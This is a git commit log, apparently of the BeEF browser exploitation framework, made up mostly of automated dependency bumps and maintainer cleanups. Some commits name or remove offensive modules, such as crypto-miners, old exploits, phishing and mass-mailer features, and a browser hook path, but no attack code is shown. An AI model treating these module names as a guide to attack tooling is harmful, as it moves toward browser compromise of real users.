- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.48.1...v1.50.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-05-04 01:04:19 +10:00
dependabot[bot]
6183f936cb Bump selenium-webdriver from 4.8.1 to 4.9.0 (#2826)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.8.1 to 4.9.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.8.1...selenium-4.9.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-05-04 01:04:10 +10:00
dependabot[bot]
c100d0b1d1 Bump rack from 2.2.6.4 to 2.2.7 (#2832)
Bumps [rack](https://github.com/rack/rack) from 2.2.6.4 to 2.2.7.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.6.4...v2.2.7)

---
updated-dependencies:
- dependency-name: rack
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-05-04 01:03:33 +10:00
bcoles
943a6fd226 Notifications: Slack: Fix config file WebHook validation (#2820) 2023-04-15 18:05:26 +10:00
bcoles
eb5959a975 WebSockets: flush beef.net.queue during keepalive (#2806) 2023-04-04 03:42:50 +10:00
dependabot[bot]
0faf517d8f Bump thin from 1.8.1 to 1.8.2 (#2777)
Bumps [thin](https://github.com/macournoyer/thin) from 1.8.1 to 1.8.2.
- [Release notes](https://github.com/macournoyer/thin/releases)
- [Changelog](https://github.com/macournoyer/thin/blob/master/CHANGELOG)
- [Commits](https://github.com/macournoyer/thin/commits)

---
updated-dependencies:
- dependency-name: thin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-04-04 02:30:54 +10:00
bcoles
4a4eb307bc API: Verify inheritance from BeEF::API class (#2803) 2023-04-03 23:22:38 +10:00
bcoles
0742b5aef4 Extensions: Remove console extension (#2802) 2023-04-03 22:11:32 +10:00
bcoles
22b91faf71 AdminUI: Removed unused jQuery wterm library (#2801) 2023-04-03 21:15:35 +10:00
bcoles
09c2128388 AdminUI: Remove zombie Autorun tab (#2800) 2023-04-03 20:57:05 +10:00
bcoles
c6618cd932 Tools: Remove chrome_extensions_exploitation (#2798)
* Tools: Remove chrome_extensions_exploitation

* Tools: move scripts/bump-version.sh -> tools/bump-version.sh
2023-04-03 20:01:05 +10:00
bcoles
a3b0d88999 Scripts: Remove CDE Rake task and generate-certificate script (#2797)
* Remove generate-certificate

* Rakefile: Remove CDE task

* scripts: shellcheck bump-version
2023-04-03 19:32:30 +10:00
bcoles
93b0171436 Remove Postman files (#2796) 2023-04-03 18:04:39 +10:00
bcoles
ed69915062 Extensions: Demos: Modify Handler to extend the Router class (#2795)
* Extensions: Demos: Remove unused demo assets

* Extensions: Demos: Hard-code "/hook.js" hook path

* Extensions: Demos: Fix copyright header format

* Extensions: Demos: Modify Handler to extend the Router class
2023-04-03 16:55:44 +10:00
bcoles
6887774823 Remove PhishingFrenzy integration (#2793) 2023-04-03 15:51:10 +10:00
bcoles
58efd34f8c Extensions: Remove IPEC extension (#2792)
* Remove browser extension payloads from Social Engineering modules

* Extensions: Remove IPEC extension
2023-04-03 15:01:52 +10:00
bcoles
92fe621425 Remove unused deployJava.js client JavaScript library (#2791) 2023-04-03 02:04:14 +10:00
bcoles
cc56090ba4 Remove jools library (#2790) 2023-04-03 01:48:04 +10:00
bcoles
996edf9ed8 Removed several old exploits and Mass Mailer functionality (#2788)
* Modules: remove old exploits

* Social Engineering: remove old templates

* Social Engineering: Remove Mass Mailer functionality
2023-04-02 22:08:34 +10:00
bcoles
3a10a15aae cryptoloot_miner: Remove cryptoloot_miner module (#2787) 2023-04-02 21:10:30 +10:00
bcoles
3b5c359ab4 Remove deprecated CoinHive miner Autorun rule (#2786) 2023-04-02 20:27:29 +10:00
bcoles
221fbddec2 AutorunEngine: Cleanup, rename REST routes, use Core::Models in REST API (#2785)
* arerules: Remove os/browser properties with redundant 'ALL' values

* Tools: Add Autorun REST examples

* AutorunEngine: Cleanup, rename REST routes, use Core::Models in REST API
2023-04-02 20:04:38 +10:00
bcoles
f8cba6e952 AutorunEngine: RuleLoader: Skip enabled rule file if rule is already in database (#2782)
* AutorunEngine: Engine: store rule execution rule ID

* AutorunEngine: RuleLoader: Skip enabled rule file if rule is already in database
2023-04-02 02:05:41 +10:00
bcoles
5de295533b install: update installer to support Ruby 3.x (#2780) 2023-04-01 16:34:55 +11:00
bcoles
e1ed67b5d3 config: add comments for public connect-back settings (#2778) 2023-04-01 04:21:36 +11:00
bcoles
173d8009a7 Remove Ruby Object patches (#2772) 2023-03-29 23:38:33 +11:00
bcoles
a5d08d727a BeEF::Extension:::Events: Add error handling to event parsing (#2771) 2023-03-29 01:14:29 +11:00
Fabian
bcd08657f1 Removed redundant runtime dependencies (#2750)
Applied consistent formatting
Minimized layer overhead
Improved port handling (making it modifiable from docker build)

Co-authored-by: Fabian Portner <fportner@seemoo.tu-darmstadt.de>
2023-03-20 23:42:04 +10:00
bcoles
dd2e95f38c Update dependencies and remove twitter nofification channel (#2760)
* Extensions: Notifications: Remove twitter notification channel
* Gemfile: Update dependencies
2023-03-19 23:02:46 +11:00
dependabot[bot]
724dc834aa Bump websocket-client-simple from 0.6.0 to 0.6.1 (#2752)
Bumps [websocket-client-simple](https://github.com/ruby-jp/websocket-client-simple) from 0.6.0 to 0.6.1.
- [Release notes](https://github.com/ruby-jp/websocket-client-simple/releases)
- [Changelog](https://github.com/ruby-jp/websocket-client-simple/blob/master/History.txt)
- [Commits](https://github.com/ruby-jp/websocket-client-simple/compare/v0.6.0...v0.6.1)

---
updated-dependencies:
- dependency-name: websocket-client-simple
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-03-19 22:01:05 +11:00
dependabot[bot]
a29682c7b9 Bump activesupport from 7.0.4.2 to 7.0.4.3 (#2754)
Bumps [activesupport](https://github.com/rails/rails) from 7.0.4.2 to 7.0.4.3.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v7.0.4.3/activesupport/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v7.0.4.2...v7.0.4.3)

---
updated-dependencies:
- dependency-name: activesupport
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-03-19 21:54:08 +11:00
bcoles
ba3bd4f80d BUNDLE_WITH: "geoip:ext_msf:ext_notifications:ext_dns:ext_qrcode" (#2759) 2023-03-19 21:37:59 +11:00
dependabot[bot]
30f8d869a9 Bump rubocop from 1.47.0 to 1.48.1 (#2751)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.47.0 to 1.48.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.47.0...v1.48.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-03-16 01:45:40 +10:00
dependabot[bot]
4901aed041 Bump rack from 2.2.6.2 to 2.2.6.4 (#2753)
Bumps [rack](https://github.com/rack/rack) from 2.2.6.2 to 2.2.6.4.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.6.2...v2.2.6.4)

---
updated-dependencies:
- dependency-name: rack
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-03-16 01:45:28 +10:00
bcoles
073c7f7f24 Replace deprecated File.exists? with File.exist? (#2740) 2023-03-05 14:50:15 +11:00
dependabot[bot]
b7894d0e40 Bump rubocop from 1.46.0 to 1.47.0 (#2736)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.46.0 to 1.47.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.46.0...v1.47.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-03-02 00:30:06 +10:00
bcoles
3e4b4bc910 hta_powershell: Fix loading beef_url_str from config (#2732) 2023-02-26 03:31:14 +11:00
bcoles
b6b435f6b7 rest_api_examples: command-modules: Fix auth command line parsing (#2731) 2023-02-26 03:15:37 +11:00
dependabot[bot]
d4c5baee8b Bump rubocop from 1.44.1 to 1.46.0 (#2729)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.44.1 to 1.46.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.44.1...v1.46.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-25 08:51:15 +10:00
bcoles
1db0b79092 Replace URI.escape with URI::Parser.new.escape (#2727) 2023-02-25 08:51:00 +10:00
dependabot[bot]
cfac1c4043 Bump sqlite3 from 1.6.0 to 1.6.1 (#2728)
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.6.0 to 1.6.1.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.6.0...v1.6.1)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-25 08:50:38 +10:00
dependabot[bot]
8d9c3f09ff Bump selenium-webdriver from 4.8.0 to 4.8.1 (#2725)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.8.0 to 4.8.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.8.0...selenium-4.8.1)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-24 19:37:04 +10:00
Abhishek Kumar
b83e06d5e0 Add support for garuda linux to install file 2023-02-17 13:02:34 +11:00
dependabot[bot]
e79fc57e49 Bump browserstack-local from 1.4.0 to 1.4.1 (#2709)
Bumps [browserstack-local](https://github.com/browserstack/browserstack-local-ruby) from 1.4.0 to 1.4.1.
- [Release notes](https://github.com/browserstack/browserstack-local-ruby/releases)
- [Changelog](https://github.com/browserstack/browserstack-local-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/browserstack/browserstack-local-ruby/commits)

---
updated-dependencies:
- dependency-name: browserstack-local
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-02-08 19:02:42 +10:00
bcoles
411e0e196f 3com_officeconnect_cmd_exec: Fix reference URL (#2705) 2023-02-08 19:02:28 +10:00
bcoles
0d28649e65 Add missing copyright headers (#2706)
* extensions: dns_rebinding: Add missing copyright headers

* modules: dns_rebinding: Add missing copyright headers
2023-02-08 18:51:30 +10:00
bcoles
57a8a13511 modules: skype_xss: Use new copyright header format (#2707) 2023-02-05 14:39:13 +11:00
dependabot[bot]
f6fd7141ad Bump selenium-webdriver from 4.7.1 to 4.8.0 (#2697)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.7.1 to 4.8.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits/selenium-4.8.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-30 00:06:11 +10:00
dependabot[bot]
0f9779e4cd Bump rubocop from 1.43.0 to 1.44.1 (#2699)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.43.0 to 1.44.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.43.0...v1.44.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-30 00:06:04 +10:00
dependabot[bot]
9fde75863b Bump otr-activerecord from 2.1.1 to 2.1.2 (#2700)
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.1.1 to 2.1.2.
- [Release notes](https://github.com/jhollinger/otr-activerecord/releases)
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.1.1...v2.1.2)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-30 00:05:50 +10:00
dependabot[bot]
9d58695636 Bump sqlite3 from 1.5.4 to 1.6.0 (#2688)
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.5.4 to 1.6.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.5.4...v1.6.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-23 22:19:48 +10:00
dependabot[bot]
f5fb224be0 Bump rack from 2.2.5 to 2.2.6.2 (#2691)
Bumps [rack](https://github.com/rack/rack) from 2.2.5 to 2.2.6.2.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.5...v2.2.6.2)

---
updated-dependencies:
- dependency-name: rack
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-23 21:44:43 +10:00
dependabot[bot]
07e90b1b7c Bump rubocop from 1.42.0 to 1.43.0 (#2686)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.42.0 to 1.43.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.42.0...v1.43.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-23 21:42:51 +10:00
dependabot[bot]
0b3dd03da2 Bump activerecord from 7.0.4 to 7.0.4.1 (#2693) 2023-01-19 08:36:25 +10:00
dependabot[bot]
fdd6d028d5 Bump irb from 1.5.1 to 1.6.2 (#2664)
Bumps [irb](https://github.com/ruby/irb) from 1.5.1 to 1.6.2.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.5.1...v1.6.2)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-09 03:00:01 +10:00
dependabot[bot]
93e7afcdc6 Bump rubocop from 1.39.0 to 1.42.0 (#2677)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.39.0 to 1.42.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.39.0...v1.42.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-08 09:02:57 +10:00
dependabot[bot]
12ab63f541 Bump curb from 1.0.3 to 1.0.5 (#2681)
Bumps [curb](https://github.com/taf2/curb) from 1.0.3 to 1.0.5.
- [Release notes](https://github.com/taf2/curb/releases)
- [Changelog](https://github.com/taf2/curb/blob/master/ChangeLog.md)
- [Commits](https://github.com/taf2/curb/commits)

---
updated-dependencies:
- dependency-name: curb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-01-08 09:02:27 +10:00
jcrew99
486a9bb329 Update copyright 2023 (#2675)
* updated copyright

* reverted gemfile lock changes
2022-12-31 15:36:07 +10:00
dependabot[bot]
edbbaa7ee2 Bump rack from 2.2.4 to 2.2.5 (#2670) 2022-12-30 09:26:47 +10:00
dependabot[bot]
b0646647c8 Bump curb from 1.0.1 to 1.0.3 (#2673) 2022-12-30 09:25:43 +10:00
dependabot[bot]
4f5e81f943 Bump rack-protection from 3.0.4 to 3.0.5 (#2662)
Bumps [rack-protection](https://github.com/sinatra/sinatra) from 3.0.4 to 3.0.5.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.4...v3.0.5)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-29 15:47:46 +10:00
dependabot[bot]
8f0d52538f Bump sinatra from 3.0.4 to 3.0.5 (#2661)
Bumps [sinatra](https://github.com/sinatra/sinatra) from 3.0.4 to 3.0.5.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.4...v3.0.5)

---
updated-dependencies:
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-29 15:47:24 +10:00
dependabot[bot]
6a960d5bd5 Bump test-unit from 3.5.5 to 3.5.7 (#2657)
Bumps [test-unit](https://github.com/test-unit/test-unit) from 3.5.5 to 3.5.7.
- [Release notes](https://github.com/test-unit/test-unit/releases)
- [Commits](https://github.com/test-unit/test-unit/compare/3.5.5...3.5.7)

---
updated-dependencies:
- dependency-name: test-unit
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-29 15:47:04 +10:00
dependabot[bot]
2f5ea15208 Bump nokogiri from 1.13.9 to 1.13.10 (#2651)
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.9 to 1.13.10.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.9...v1.13.10)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-29 15:46:40 +10:00
dependabot[bot]
919e44c2c4 Bump rdoc from 6.4.0 to 6.5.0 (#2649)
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.4.0 to 6.5.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.4.0...v6.5.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-29 15:46:25 +10:00
dependabot[bot]
a335d0e070 Bump selenium-webdriver from 4.7.0 to 4.7.1 (#2647)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.7.0 to 4.7.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-08 03:01:41 +10:00
dependabot[bot]
a2d197a8b9 Bump json from 2.6.2 to 2.6.3 (#2648)
Bumps [json](https://github.com/flori/json) from 2.6.2 to 2.6.3.
- [Release notes](https://github.com/flori/json/releases)
- [Changelog](https://github.com/flori/json/blob/master/CHANGES.md)
- [Commits](https://github.com/flori/json/compare/v2.6.2...v2.6.3)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-08 03:01:12 +10:00
dependabot[bot]
c7a25c7501 Bump selenium-webdriver from 4.6.1 to 4.7.0 (#2645)
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.6.1 to 4.7.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits/selenium-4.7.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-05 14:48:26 +10:00
dependabot[bot]
6b8525ce1b Bump sqlite3 from 1.5.3 to 1.5.4 (#2636)
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 1.5.3 to 1.5.4.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v1.5.3...v1.5.4)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-01 14:48:13 +10:00
dependabot[bot]
2138b51ee3 Bump sinatra from 3.0.3 to 3.0.4 (#2640)
Bumps [sinatra](https://github.com/sinatra/sinatra) from 3.0.3 to 3.0.4.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.3...v3.0.4)

---
updated-dependencies:
- dependency-name: sinatra
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-01 14:38:19 +10:00
dependabot[bot]
c83019ca1d Bump rack-protection from 3.0.3 to 3.0.4 (#2641)
Bumps [rack-protection](https://github.com/sinatra/sinatra) from 3.0.3 to 3.0.4.
- [Release notes](https://github.com/sinatra/sinatra/releases)
- [Changelog](https://github.com/sinatra/sinatra/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sinatra/sinatra/compare/v3.0.3...v3.0.4)

---
updated-dependencies:
- dependency-name: rack-protection
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-01 14:38:05 +10:00
dependabot[bot]
fd1bb71f3e Bump jsdoc-to-markdown from 7.1.1 to 8.0.0 (#2642)
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 7.1.1 to 8.0.0.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v7.1.1...v8.0.0)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-01 14:37:54 +10:00
dependabot[bot]
52a8afe3ef Bump irb from 1.4.3 to 1.5.1 (#2643)
Bumps [irb](https://github.com/ruby/irb) from 1.4.3 to 1.5.1.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.4.3...v1.5.1)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-12-01 14:37:36 +10:00
dependabot[bot]
fb62b825fc Bump irb from 1.4.2 to 1.4.3 (#2631)
Bumps [irb](https://github.com/ruby/irb) from 1.4.2 to 1.4.3.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.4.2...v1.4.3)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-11-21 14:28:07 +10:00
dependabot[bot]
1d9012b1e6 Bump sinatra from 3.0.2 to 3.0.3 (#2626)
Bumps [sinatra](https://github.com/sinatra/sinatra) from 3.0.2 to 3.0.3.
- [Release notes](https://github.com/sinatra/sinatra/releases)
